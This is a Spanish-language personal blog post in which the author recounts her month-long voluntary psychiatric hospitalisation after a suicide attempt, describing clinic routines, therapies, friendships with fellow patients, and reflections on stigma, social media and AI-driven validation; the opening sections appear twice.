Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
-
«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
⏱️ Tiempo estimado de lectura: 28 minutos y 39 segundos.
Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
